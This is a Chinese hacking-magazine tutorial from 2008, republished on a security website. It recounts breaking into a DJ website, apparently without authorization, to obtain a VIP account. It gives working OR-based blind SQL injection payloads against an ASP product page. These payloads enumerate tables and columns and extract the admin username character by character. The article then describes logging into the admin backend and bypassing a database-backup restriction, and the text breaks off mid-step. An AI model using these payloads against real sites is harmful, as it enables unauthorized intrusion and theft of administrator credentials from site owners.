反常规and 1=1的or 1=2注入技巧
作者:Tommie(C.R.S.T)
已经发表在黑客手册2008年第三期.
or突破防注入
春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。用IE打开目标网站,找到一个带参数的ASP链接。提交AND 1=1,如图2。
可能到了这里,有些读者会选择放弃。其实,如果一个网站的防注入不是过滤得很严的话,可以试试or注入。向注入点提交or 1=1,发现跳到另外一个页面了,如图3。
然后or 1=2返回最原始的页面了,如图4。
由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。用如下语句:
/productsview2.asp?id=248 or exists(select * from admin) //判断是否存在admin这个表,发现页面返回正常,也就是图4,说明不存在admin这个表。
/productsview2.asp?id=248 or exists(select * from manage) //页面返回异常了,也就是图3,说明存在manage这个表。猜完表后就要猜解字段了。
/productsview2.asp?id=248 or exists(select username from manage) //返回异常页面了,说明manage这个表中含有username这个字段,这时我们就可以猜数据了。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)<123 //判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)>96 //提交后发现返回异常页面,得到第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用牛族多功能ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码,先猜字符再猜数据。
html备份限制的突破
用明小子跑了下后台,如图5。
用注入得到的用户密码登陆后台,逛了一圈之后发现有备份数据库的地方,如图6。
不过有HTML限制,这个可以突破的。“查看”-“源文件”-“文件”-“另存为”,保存到本地。接着用文本格式打开它,找到“
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。
本文地址:/websafe/jbgongfang/148879.html